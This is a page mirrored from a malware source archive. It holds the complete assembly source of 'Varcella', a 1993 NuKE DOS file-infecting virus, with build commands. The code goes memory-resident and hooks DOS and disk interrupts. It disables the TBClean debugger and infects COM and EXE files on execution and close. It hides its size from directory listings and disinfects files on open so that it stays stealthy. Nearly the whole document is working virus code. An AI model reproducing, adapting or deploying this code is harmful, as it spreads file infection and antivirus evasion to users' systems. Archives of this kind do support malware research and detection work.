mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 06:25:27 +00:00
4b9382ddbc
push
849 lines
44 KiB
NASM
849 lines
44 KiB
NASM
;===============================================================================
|
|
;
|
|
; (c) 1993 by NuKE Software Publishing, Inc.
|
|
; Developed by Rock Steady/NuKE
|
|
;
|
|
; <VARCELLA.ASM>
|
|
;
|
|
; To Compile : TASM VARCELLA;
|
|
; TLINK/T VARCELLA;
|
|
;
|
|
virus_size equ last - init_virus ;virus size (bytes)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a,ds:seg_a
|
|
|
|
org 100h ;compile to .com
|
|
|
|
start: jmp init_virus
|
|
|
|
;-------------------------------------------------------------------------------
|
|
init_virus: call doit_now ;begin virus
|
|
|
|
doit_now: pop bp ;pop call offset
|
|
sub bp,offset doit_now ;fix it with pointer
|
|
|
|
push ax
|
|
push bx ;save the registers
|
|
push cx
|
|
push dx
|
|
push si
|
|
push es
|
|
push ds
|
|
|
|
mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
|
|
xor dx,dx ;dx=0
|
|
mov ds,dx ;ds=0
|
|
mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
|
|
dec ax
|
|
mov ds,ax
|
|
|
|
mov cx,0FFFFh ;cx=64k
|
|
mov si,dx ;si=0
|
|
|
|
look_4_tbclean: mov ax,word ptr ds:[si]
|
|
xor ax,0A5F3h
|
|
je check_it ;jmp if its TBClean
|
|
look_again: inc si ;if not continue looking
|
|
loop look_4_tbclean
|
|
jmp not_found ;not found cont normal
|
|
|
|
check_it: mov ax,word ptr ds:[si+4]
|
|
xor ax,0006h
|
|
jne look_again ;jmp =! tbclean
|
|
mov ax,word ptr ds:[si+10]
|
|
xor ax,020Eh
|
|
jne look_again ;jmp =! tbclean
|
|
mov ax,word ptr ds:[si+12]
|
|
xor ax,0C700h
|
|
jne look_again ;jmp =! tbclean
|
|
mov ax,word ptr ds:[si+14]
|
|
xor ax,0406h
|
|
jne look_again ;jmp =! tbclean
|
|
|
|
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
|
|
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
|
|
|
|
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
|
|
mov byte ptr ds:[bx+16],0CFh ;replece with IRET
|
|
|
|
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
|
|
|
|
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
|
|
mov word ptr cs:[tb_int2][bp],bx ;vector table
|
|
|
|
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
|
|
mov word ptr cs:[tb_ints][bp],bx ;of vector table
|
|
|
|
not_found: xor dx,dx
|
|
push ds
|
|
mov ds,dx ;put that in ds
|
|
les si,dword ptr ds:[0084h] ;get int21 vector
|
|
mov word ptr cs:[int21][bp],si ;save int21 offset
|
|
mov word ptr cs:[int21+2][bp],es ;save int21 segment
|
|
|
|
les si,dword ptr ds:[0070h] ;get int1c vector
|
|
mov word ptr cs:[int1c][bp],si ;save int1c offset
|
|
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
|
|
|
|
les si,dword ptr ds:[004ch] ;get int13 vector
|
|
mov word ptr cs:[int13][bp],si ;save int13 offset
|
|
mov word ptr cs:[int13+2][bp],es ;save int13 segment
|
|
pop ds
|
|
|
|
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
|
|
mov ax,0abcdh ;test if virus is here?
|
|
int 13h
|
|
cmp bx,0abcdh ;is it?
|
|
jne install_virus ;jmp, if not & install
|
|
leave_mcb: jmp exit_mem ;yes, leave then
|
|
|
|
;--------- Going Resident ------
|
|
|
|
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
|
|
cmp al,0ffh ;memory from it!
|
|
je leave_mcb ;error? exit then
|
|
inc byte ptr cs:[mcb][bp] ;inc flag
|
|
cmp al,01 ;
|
|
ja mcb3_1
|
|
|
|
install_virus: mov ah,52h ;get the list of lists
|
|
int 21h ;use dos
|
|
mov ax,es:[bx-2] ;get first mcb chain
|
|
|
|
mov es,ax ;es=segment of 1st mcb
|
|
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
|
|
jne mcb2 ;jmp if not
|
|
clc ;yes last mcb, CLC
|
|
jmp short mcbx ;outta here
|
|
|
|
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
|
|
je mcb3 ;jmp if yes
|
|
stc ;error, set carry flag
|
|
jmp short mcbx ;outta here
|
|
|
|
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
|
|
je mcb3_1 ;if yes, then jmp
|
|
mov dx,ds ;else cmp TB ds
|
|
sub dx,9h ;ds-10
|
|
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
|
|
je mcbx_1
|
|
|
|
mcb3_1: mov ax,es ;ax=es
|
|
add ax,word ptr es:[0003h] ;ax=es + next mcb
|
|
inc ax ;get mcb
|
|
mov es,ax ;es=ax:next mcb chain
|
|
jmp short mcb1 ;goto first step
|
|
|
|
mcbx: jc leave_mcb ;if error, exit
|
|
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
|
|
jb steal_some
|
|
mov byte ptr es:[0000],'Z' ;the last mcb chain!
|
|
sub word ptr es:[0003],(virus_size/16) + 11h
|
|
add ax,word ptr es:[0003h] ;figure out segment
|
|
inc ax ;add 16 bytes
|
|
mov es,ax ;new segment in es
|
|
mov di,103h ;offset is 103h
|
|
|
|
push ds ;save TB ds location
|
|
push cs
|
|
pop ds ;virus cs=ds
|
|
mov si,offset init_virus ;si=top of virus
|
|
add si,bp ;add delta
|
|
mov cx,virus_size ;move virus_size
|
|
cld ;clear direction flag
|
|
repne movsb ;do it Mr. Crunge
|
|
|
|
mov ds,cx ;ds=0000
|
|
hook_again: cli ;disable ints
|
|
mov word ptr ds:[0084h],offset int21_handler ;hook int21
|
|
mov word ptr ds:[0086h],es
|
|
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
|
|
mov word ptr ds:[0072h],es
|
|
mov word ptr ds:[004ch],offset int13_handler ;hook int13
|
|
mov word ptr ds:[004eh],es
|
|
sti ;enable ints
|
|
|
|
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
|
|
je go_on ;no, then jmp
|
|
cmp cl,01h ;is this the 2nd x here?
|
|
je go_on ;yes, then jmp
|
|
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
|
|
inc cl ;inc cl
|
|
jmp short hook_again ;hook ints again
|
|
|
|
go_on: pop ds ;get TB code segment
|
|
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
|
|
je hook_tb_ints ;yes, then jmp
|
|
jmp exit_mem ;else exit
|
|
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
|
|
mov word ptr ds:[si+84h+16],offset int21_handler
|
|
mov word ptr ds:[si+86h+16],es
|
|
mov word ptr ds:[si+70h+16],offset int1c_handler
|
|
mov word ptr ds:[si+72h+16],es
|
|
mov word ptr ds:[si+4ch+16],offset int13_handler
|
|
mov word ptr ds:[si+4eh+16],es
|
|
|
|
exit_mem: pop ds
|
|
pop es
|
|
pop si
|
|
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
|
|
je exit_exe_file ;yupe exit exe file
|
|
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
|
|
je exit_exe_file ;yupe exit exe file
|
|
push cs
|
|
pop ds
|
|
mov bx,offset buffer ;get first 3 bytes
|
|
add bx,bp ;fix delta
|
|
mov ax,[bx] ;move first 2 bytes
|
|
mov word ptr ds:[100h],ax ;put em in the beginning
|
|
inc bx ;inc pointer
|
|
inc bx
|
|
mov al,[bx] ;get last of 3rd byte
|
|
mov byte ptr ds:[102h],al ;put that in place
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop word ptr cs:[ax_reg][bp] ;save ax else where
|
|
mov ax,100h
|
|
push ax ;fake a CALL & RETN
|
|
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
|
|
retn ;link to 100h
|
|
|
|
exit_exe_file: mov dx,ds ;get psp=ds seg
|
|
add dx,10h ;add 16bytes to seg
|
|
pop word ptr cs:[ax_reg][bp]
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
add word ptr cs:[buffer+22][bp],dx ;fix segments
|
|
add dx,word ptr cs:[buffer+14][bp]
|
|
cli
|
|
mov ss,dx ;restore ss
|
|
mov sp,word ptr cs:[buffer+16][bp] ;and sp
|
|
sti
|
|
mov dx,word ptr cs:[ax_reg][bp]
|
|
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
|
|
|
|
mcb db 0
|
|
ax_reg dd 0
|
|
int13 dd 0
|
|
int1c dd 0
|
|
int21 dd 0
|
|
tb_ints dd 0
|
|
tb_here db 0
|
|
tb_int2 dd 0
|
|
|
|
;===============================================================================
|
|
; Int 13h Handler
|
|
;===============================================================================
|
|
int13_handler:
|
|
cmp ax,0abcdh ;virus test
|
|
je int13_test ;yupe
|
|
|
|
int13call: jmp dword ptr cs:[int13] ;original int13
|
|
|
|
int13_test: mov bx,ax ;fix
|
|
iret
|
|
;===============================================================================
|
|
; Int 1Ch Handler
|
|
;===============================================================================
|
|
int1c_handler:
|
|
iret
|
|
;-------------------------------------------------------------------------------
|
|
; FCB Dir Stealth Routine (File Find)
|
|
;-------------------------------------------------------------------------------
|
|
fcb_dir: call calldos21 ;get the fcb block
|
|
test al,al ;test for error
|
|
jnz fcb_out ;jmp if error
|
|
push ax ;save registers
|
|
push bx
|
|
push cx
|
|
push es
|
|
mov ah,51h ;get current psp
|
|
call calldos21 ;call int21
|
|
|
|
mov es,bx ;es=segment of psp
|
|
cmp bx,es:[16h] ;psp of command.com?
|
|
jnz fcb_out1 ;no, then jmp
|
|
mov bx,dx ;ds:bx=fcb
|
|
mov al,[bx] ;1st byte of fcb
|
|
push ax ;save it
|
|
mov ah,2fh ;get dta
|
|
call calldos21 ;es:bx <- dta
|
|
|
|
pop ax ;get first byte
|
|
inc al ;al=ffh therefor al=ZR
|
|
jnz fcb_old ;if != ZR jmp
|
|
add bx,7h ;extended fcb here, +7
|
|
fcb_old: mov ax,es:[bx+17h] ;get file time stamp
|
|
mov cx,es:[bx+19h] ;get file date stamp
|
|
and ax,1fh ;unmask seconds field
|
|
and cx,1fh ;unmask day of month
|
|
xor ax,cx ;are they equal?
|
|
jnz fcb_out1 ;nope, exit then
|
|
sub word ptr es:[bx+1dh],virus_size ;sub away virus_size
|
|
sbb word ptr es:[bx+1fh],0 ;sub with carry flag
|
|
|
|
fcb_out1: pop es ;restore registers
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
fcb_out: iret ;return control
|
|
;-------------------------------------------------------------------------------
|
|
; ASCIIZ Dir Stealth Routine (File Find)
|
|
;-------------------------------------------------------------------------------
|
|
dta_dir: call calldos21 ;get results to dta
|
|
jb dta_out ;if error, split
|
|
push ax ;save register
|
|
push bx
|
|
push cx
|
|
push es
|
|
mov ah,2fh ;get current dta
|
|
call calldos21 ;es:bx <- dta
|
|
|
|
mov ax,es:[bx+16h] ;get file time stamp
|
|
mov cx,es:[bx+18h] ;get file date stamp
|
|
and ax,1fh ;unmask seconds field
|
|
and cx,1fh ;unmask day of month
|
|
xor ax,cx ;are they equal
|
|
jnz dta_out1 ;nope, exit then
|
|
sub word ptr es:[bx+1ah],virus_size ;sub away virus_size
|
|
sbb word ptr es:[bx+1ch],0 ;sub with carry flag
|
|
|
|
dta_out1: pop es ;restore registers
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
dta_out: retf 0002h ;pop 2 words of stack
|
|
;===============================================================================
|
|
; Int 21h Handler
|
|
;===============================================================================
|
|
int21_handler:
|
|
cmp ah,11h ;FCB find first match
|
|
je old_dir
|
|
cmp ah,12h ;FCB find next match
|
|
je old_dir
|
|
cmp ah,4eh ;Find first match
|
|
je new_dir
|
|
cmp ah,4fh ;Find next match
|
|
je new_dir
|
|
cmp ah,3dh ;Opening a file
|
|
je file_open
|
|
cmp ah,6ch ;Ext_opening a file
|
|
je file_ext_open
|
|
cmp ah,3eh ;closing a file
|
|
je file_close
|
|
cmp ah,4bh ;Execution of a file
|
|
je file_execute
|
|
|
|
int21call: jmp dword ptr cs:[int21] ;original int21
|
|
|
|
old_dir: jmp fcb_dir ;fcb file find
|
|
|
|
new_dir: jmp dta_dir ;new asciiz file find
|
|
|
|
file_open: jmp open_file ;disinfect opening file
|
|
|
|
file_ext_open: jmp open_ext_file ;disinfect opening file
|
|
|
|
file_close: jmp close_file ;infect closing file
|
|
|
|
file_execute: call check_extension ;check for ok ext
|
|
cmp byte ptr cs:[com_ext],1 ;is it a com?
|
|
je exec_disinfect ;yupe disinfect it
|
|
cmp byte ptr cs:[exe_ext],1 ;is it a exe?
|
|
je exec_disinfect ;yupe disinfect it
|
|
jmp SHORT int21call
|
|
|
|
exec_disinfect: call exec_disinfect1 ;Disinfect file
|
|
|
|
mov word ptr cs:[ax_reg],dx
|
|
pushf ;fake an int
|
|
call dword ptr cs:[int21] ;call dos
|
|
xchg word ptr cs:[ax_reg],dx ;restore dx
|
|
|
|
mov byte ptr cs:[close],0 ;reset flag..
|
|
push ax ;store 'em
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
closing_infect: mov ax,3524h ;get error handler
|
|
call calldos21 ;call dos
|
|
|
|
push es ;save es:bx= int_24
|
|
push bx ;error handler
|
|
push ds ;ds:dx= asciiz string
|
|
push dx
|
|
push cs ;cs=ds
|
|
pop ds
|
|
mov dx,offset int21_handler ;hook error handler
|
|
mov ax,2524h ;with our int24h
|
|
call calldos21
|
|
pop dx ;restore ds:dx asciiz
|
|
pop ds ;string
|
|
|
|
cmp byte ptr cs:[close],0 ;Are we closing file?
|
|
je exec_get_att ;nope, then jmp
|
|
mov ax,word ptr cs:[handle] ;yupe, ax=file handle
|
|
jmp exec_open_ok ;jmp so you don't open
|
|
;the file twice...
|
|
exec_get_att: mov ax,4300h ;get file attribs
|
|
call calldos21 ;call dos
|
|
jnc exec_attrib ;no, error jmp
|
|
jmp exec_exit2 ;ERROR - split
|
|
|
|
exec_attrib: mov byte ptr cs:[attrib],cl
|
|
test cl,1 ;check bit 0 (read_only)
|
|
jz exec_attrib_ok ;if bit0=0 jmp
|
|
dec cx ;else turn of bit_0
|
|
mov ax,4301h ;write new attribs
|
|
call calldos21 ;call dos
|
|
|
|
exec_attrib_ok: mov ax,3d02h ;open file for r/w
|
|
call calldos21 ;call dos
|
|
jnc exec_open_ok ;ok, no error jmp
|
|
jmp exec_exit2 ;ERROR - split
|
|
|
|
exec_open_ok: xchg bx,ax ;bx=file handler
|
|
push cs ;cs=ds
|
|
pop ds
|
|
mov ax,5700h ;get file time/date
|
|
call calldos21 ;call dos
|
|
|
|
mov word ptr cs:[old_time],cx ;save file time
|
|
mov word ptr cs:[org_time],cx
|
|
mov word ptr cs:[old_date],dx ;save file date
|
|
and cx,1fh ;unmask second field
|
|
and dx,1fh ;unmask date field
|
|
xor cx,dx ;are they equal?
|
|
jnz exec_time_ok ;nope, file not infected
|
|
jmp exec_exit3 ;FILE INFECTED
|
|
|
|
exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits
|
|
or word ptr cs:[old_time],dx ;seconds=day of month
|
|
|
|
mov ax,4200h ;reset ptr to beginning
|
|
xor cx,cx ;(as opened files may
|
|
xor dx,dx ; have ptr anywhere,
|
|
call calldos21 ; so be smart!)
|
|
|
|
mov word ptr cs:[marker],0DBDBh ;File Infection marker
|
|
mov dx,offset ds:[buffer] ;ds:dx buffer
|
|
mov cx,18h ;read 18h bytes
|
|
mov ah,3fh ;read from handle
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error? if yes jmp
|
|
sub cx,ax ;did we read 18h bytes?
|
|
jnz exec_exit1 ;if no exit
|
|
mov dx,cx ;cx=0 dx=0
|
|
mov ax,4202h ;jmp to EOF
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error? exit if so.
|
|
mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz
|
|
mov word ptr cs:[filesize],dx ;save upper 16bit fileSz
|
|
call chkbuf ;check if .exe
|
|
jz exec_cool ;jmp if .exe file
|
|
cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k?
|
|
jb exec_cool ;if less jmp!
|
|
|
|
exec_exit1: jmp exec_exit3 ;exit!
|
|
|
|
;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
|
; Mutate and infect
|
|
;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
|
|
|
|
exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning
|
|
mov cx,virus_size ;cx=virus size
|
|
mov ah,40h ;write to handle
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error? if yes exit
|
|
sub cx,ax ;cx=ax bytes?
|
|
jnz exec_exit1 ;not equal exit
|
|
mov dx,cx ;cx=0 dx=0
|
|
mov ax,4200h ;jmp to top of file
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error, then exit
|
|
mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize
|
|
call chkbuf ;check if .exe
|
|
jnz exec_com_file ;if !=.exe jmp
|
|
mov dx,word ptr cs:[filesize] ;get upper 16bit
|
|
|
|
mov cx,4 ;cx=0004
|
|
mov si,word ptr cs:[buffer+8] ;get exe header size
|
|
shl si,cl ;mul by 16
|
|
sub ax,si ;exe_header - filesize
|
|
sbb dx,0h ;sub with carry
|
|
|
|
mov cx,10h ;cx=0010
|
|
div cx ;ax=length in para
|
|
;dx=remaider
|
|
mov word ptr cs:[buffer+20],dx ;New IP offset address
|
|
mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs)
|
|
add dx,virus_size+100h ;Dx=virus_size+256
|
|
|
|
mov word ptr cs:[buffer+16],dx ;New SP entry
|
|
mov word ptr cs:[buffer+14],ax ;New SS (in para)
|
|
add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para
|
|
mov ax,word ptr cs:[buffer+10] ;ax=min para needed
|
|
cmp ax,word ptr cs:[buffer+12] ;cmp with max para
|
|
jb exec_size_ok ;jmp if ok!
|
|
mov word ptr cs:[buffer+12],ax ;nop, enter new max
|
|
|
|
exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size
|
|
add ax,virus_size ;add virus to it
|
|
push ax ;push it
|
|
and ah,1 ;
|
|
mov word ptr cs:[buffer+2],ax ;restore new value
|
|
pop ax ;pop ax
|
|
mov cl,9 ;
|
|
shr ax,cl ;
|
|
add word ptr cs:[buffer+4],ax ;enter fileSz + header
|
|
mov dx,offset buffer ;ds:dx=new exe header
|
|
mov cx,18h ;cx=18h bytes to write
|
|
jmp SHORT exec_write_it ;jmp...
|
|
|
|
exec_com_file: sub ax,3 ;sub 3 for jmp address
|
|
mov word ptr cs:[buffer+1],ax ;store new jmp value
|
|
mov byte ptr cs:[buffer],0E9h ;E9h=JMP
|
|
mov dx,offset buffer ;ds:dx=buffer
|
|
mov cx,3 ;cx=3 bytes
|
|
|
|
exec_write_it: mov ah,40h ;write to file handle
|
|
call calldos21 ;call dos
|
|
|
|
mov dx,word ptr cs:[old_date] ;restore old date
|
|
mov cx,word ptr cs:[old_time] ;restore old time
|
|
mov ax,5701h ;write back to file
|
|
call calldos21 ;call dos
|
|
|
|
exec_exit3: mov ah,3eh ;close file
|
|
call calldos21 ;call dos
|
|
|
|
exec_exit2: pop dx ;restore es:bx (the
|
|
pop ds ;original int_24)
|
|
mov ax,2524h ;put back to place
|
|
call calldos21 ;call dos
|
|
|
|
pop ds
|
|
pop es
|
|
pop di ;pop registers
|
|
pop si
|
|
pop dx
|
|
xor cx,cx
|
|
mov cl,byte ptr cs:[attrib] ;get old file attrib
|
|
mov ax,4301h ;put them back
|
|
call calldos21 ;call dos
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
|
|
cmp byte ptr cs:[close],0 ;get called by exec?
|
|
je exec_good_bye ;yep, then jmp
|
|
iret ;else exit now.
|
|
|
|
exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx
|
|
iret ;iret
|
|
;-------------------------------------------------------------------------------
|
|
; Close File Int21h/ah=3Eh
|
|
;-------------------------------------------------------------------------------
|
|
close_file: cmp bx,4h ;file handler > 4?
|
|
ja close_cont ;jmp if above
|
|
jmp int21call ;else exit
|
|
|
|
close_cont: push ax ;save 'em
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
|
|
push bx ;save file handler
|
|
mov ax,1220h ;get job file table!
|
|
int 2fh ;call multiplex
|
|
;es:di=JFT for handler
|
|
mov ax,1216h ;get system file table
|
|
mov bl,es:[di] ;bl=SFT entry
|
|
int 2fh ;call multiplex
|
|
pop bx ;save file handler
|
|
|
|
add di,0011h
|
|
mov byte ptr es:[di-0fh],02h ;set to read/write
|
|
|
|
add di,0017h
|
|
cmp word ptr es:[di],'OC' ;check for .COM file
|
|
jne closing_next_try ;no try next ext
|
|
cmp byte ptr es:[di+2h],'M' ;check last letter
|
|
je closing_cunt3 ;no, file no good, exit
|
|
|
|
closing_exit: jmp closing_nogood ;exit
|
|
|
|
closing_next_try:
|
|
cmp word ptr es:[di],'XE' ;check for .EXE file
|
|
jne closing_exit ;no, exit
|
|
cmp byte ptr es:[di+2h],'E' ;check last letter
|
|
jne closing_exit ;no, exit
|
|
|
|
closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag
|
|
mov word ptr cs:[handle],bx ;save handler
|
|
jmp closing_infect ;infect file!
|
|
|
|
closing_nogood: pop ds ;restore 'em
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp int21call ;good bye, baby...
|
|
;-------------------------------------------------------------------------------
|
|
; Execute Disinfecting routine
|
|
;-------------------------------------------------------------------------------
|
|
exec_disinfect1 PROC
|
|
push ax ;save registers
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
|
|
mov ax,4300h ;get file attribs
|
|
call calldos21 ;call dos
|
|
|
|
test cl,1h ;is Read-only flag?
|
|
jz okay_dis ;no, jmp attribs ok
|
|
dec cx ;turn off bit 0
|
|
mov ax,4301h ;write new attribs
|
|
call calldos21 ;call dos
|
|
jnc okay_dis ;No error? then jmp
|
|
jmp end_dis ;error? exit!
|
|
|
|
okay_dis: mov ax,3d02h ;open file for r/w
|
|
call calldos21 ;call dos
|
|
jnc dis_fileopen ;No error? then jmp
|
|
jmp end_dis ;Error? exit!
|
|
|
|
dis_fileopen: xchg bx,ax ;bx=file handle
|
|
mov ax,5700h ;get file time/date
|
|
call calldos21 ;call dos
|
|
|
|
mov word ptr cs:[old_time],cx ;save file time
|
|
mov word ptr cs:[old_date],dx ;save file date
|
|
and cx,1fh ;unmask second field
|
|
and dx,1fh ;unmask date field
|
|
xor cx,dx ;are they equal?
|
|
jnz half_way ;nope, file not infected
|
|
|
|
mov ax,4202h ;jmp to EOF
|
|
xor cx,cx ;cx=0
|
|
xor dx,dx ;dx=0
|
|
call calldos21 ;call dos
|
|
|
|
push cs ;cs=ds
|
|
pop ds ;
|
|
mov cx,dx ;dx:ax=file size
|
|
mov dx,ax ;save to cx:dx
|
|
push cx ;save upper fileSz
|
|
push dx ;save lower fileSz
|
|
|
|
sub dx,1Ch ;filesize-1C=origin byte
|
|
sbb cx,0 ;sub with carry
|
|
mov ax,4200h ;position ptr
|
|
call calldos21 ;call dos
|
|
|
|
mov ah,3fh ;open file
|
|
mov cx,1Ch ;read last 1Ch bytes
|
|
mov dx,offset org_time ;put in ds:dx
|
|
call calldos21 ;call dos
|
|
call chkbuf ;Did it work?
|
|
je half ;Yes,Jmp
|
|
cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected?
|
|
je half ;Yes, then jmp
|
|
|
|
pop dx
|
|
pop cx
|
|
half_way: jmp end_dis1 ;exit, error!
|
|
|
|
half: xor cx,cx ;cx=0
|
|
xor dx,dx ;dx=0
|
|
mov ax,4200h ;pointer to top of file
|
|
call calldos21 ;call dos
|
|
|
|
mov ah,40h ;write function
|
|
mov dx,offset buffer ;ds:dx=buffer
|
|
mov cx,18h ;cx=18h bytes to write
|
|
call chkbuf ;check if .exe?
|
|
jz SHORT dis_exe_jmp ;yupe, jmp
|
|
mov cx,3h ;else write 3 bytes
|
|
dis_exe_jmp: call calldos21 ;call dos
|
|
|
|
pop dx ;pop original fileSz
|
|
pop cx
|
|
|
|
sub dx,virus_size ;Sub with virus_size
|
|
sbb cx,0 ;sub with carry
|
|
mov ax,4200h ;ptr top of virus
|
|
call calldos21 ;call dos
|
|
|
|
mov ah,40h ;write function
|
|
xor cx,cx ;write 0 bytes
|
|
call calldos21 ;call dos! (new EOF)
|
|
|
|
mov cx,word ptr ds:[org_time] ;get original time
|
|
mov dx,word ptr ds:[old_date] ;get original date
|
|
mov ax,5701h ;put back to file
|
|
call calldos21 ;call dos
|
|
|
|
end_dis1: mov ah,3eh ;close file handle
|
|
call calldos21 ;call dos
|
|
|
|
end_dis: pop ds ;restore values
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
exec_disinfect1 ENDP
|
|
;-------------------------------------------------------------------------------
|
|
; Open File by DOS Int21h/ah=6ch
|
|
;-------------------------------------------------------------------------------
|
|
open_ext_file: push dx ;save DX
|
|
mov dx,si ;asciiz=DS:DX now
|
|
jmp open_ext ;jmp
|
|
;-------------------------------------------------------------------------------
|
|
; Open File by DOS Int21h/ah=3Dh
|
|
;-------------------------------------------------------------------------------
|
|
open_file: push dx ;save dx (asciiz)
|
|
open_ext: call check_extension ;check extension
|
|
cmp byte ptr cs:[com_ext],1 ;is it a .com?
|
|
je open_ok_ext ;yep, then jmp
|
|
cmp byte ptr cs:[exe_ext],1 ;is it a .exe?
|
|
je open_ok_ext ;yep, them jmp
|
|
jmp open_exit ;ext no good, exit!
|
|
|
|
open_ok_ext: call exec_disinfect1 ;disinfect file!
|
|
open_exit: pop dx ;restore dx
|
|
jmp int21call ;exit to dos...
|
|
;-------------------------------------------------------------------------------
|
|
; Checks Buffer (EXE) Header
|
|
;-------------------------------------------------------------------------------
|
|
chkbuf PROC
|
|
push si ;save register
|
|
mov si,word ptr cs:[buffer] ;get first word
|
|
cmp si,5A4Dh ;si=ZM?
|
|
je chkbuf_ok ;if yes exit
|
|
cmp si,4D5Ah ;si=MZ?
|
|
chkbuf_ok: pop si ;pop register
|
|
ret
|
|
chkbuf ENDP
|
|
;-------------------------------------------------------------------------------
|
|
; Check file Extension
|
|
;-------------------------------------------------------------------------------
|
|
check_extension PROC
|
|
pushf ;save flags
|
|
push cx ;save cx,si
|
|
push si
|
|
mov si,dx ;ds:[si]=asciiz
|
|
mov cx,128 ;scan 128 bytes max
|
|
mov byte ptr cs:[com_ext],0 ;reset .com flag
|
|
mov byte ptr cs:[exe_ext],0 ;reset .exe flag
|
|
|
|
check_ext: cmp byte ptr ds:[si],2Eh ;scan for "."
|
|
je check_ext1 ;jmp if found
|
|
inc si ;else inc and loop
|
|
loop check_ext ;loop me
|
|
|
|
check_ext1: inc si ;inc asciiz ptr
|
|
cmp word ptr ds:[si],'OC' ;is it .COM
|
|
jne check_ext2 ; ~~
|
|
cmp byte ptr ds:[si+2],'M' ;is it .COM
|
|
je com_file_ext ; ~
|
|
|
|
check_ext2: cmp word ptr ds:[si],'oc' ;is it .com
|
|
jne check_ext3 ; ~~
|
|
cmp byte ptr ds:[si+2],'m' ;is it .com
|
|
je com_file_ext ; ~
|
|
|
|
check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE
|
|
jne check_ext4 ; ~~
|
|
cmp byte ptr ds:[si+2],'E' ;is it .EXE
|
|
je exe_file_ext ; ~
|
|
|
|
check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe
|
|
jne check_ext_exit ; ~~
|
|
cmp byte ptr ds:[si+2],'e' ;is it .exe
|
|
je exe_file_ext ; ~
|
|
jmp check_ext_exit ;neither exit
|
|
|
|
com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file
|
|
jmp SHORT check_ext_exit ;jmp short
|
|
exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file
|
|
|
|
check_ext_exit: pop si ;restore
|
|
pop cx
|
|
popf ;save flags
|
|
ret
|
|
|
|
com_ext db 0 ;flag on=.com file
|
|
exe_ext db 0 ;flag on=.exe file
|
|
check_extension ENDP
|
|
;-------------------------------------------------------------------------------
|
|
; Original Int21h
|
|
;-------------------------------------------------------------------------------
|
|
calldos21 PROC
|
|
pushf ;fake int call
|
|
call dword ptr cs:[int21] ;call original int_21
|
|
ret
|
|
calldos21 ENDP
|
|
;===============================================================================
|
|
; Int 24h Handler
|
|
;===============================================================================
|
|
int24_handler:
|
|
mov al,3 ;don't report error...
|
|
iret ;later dude...
|
|
;-------------------------------------------------------------------------------
|
|
; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
|
|
|
|
close db 0 ;closing file
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; END - END - END - END - END - END - END
|
|
|
|
rand_val dw 0
|
|
flags dw 0 ;Flags are saved here
|
|
attrib db 0 ;file's attrib
|
|
filesize dd 0 ;filesize
|
|
handle dw 0 ;file handler
|
|
old_date dw 0 ;file date
|
|
old_time dw 0 ;file time
|
|
;-------------------------------------------------------------------------------
|
|
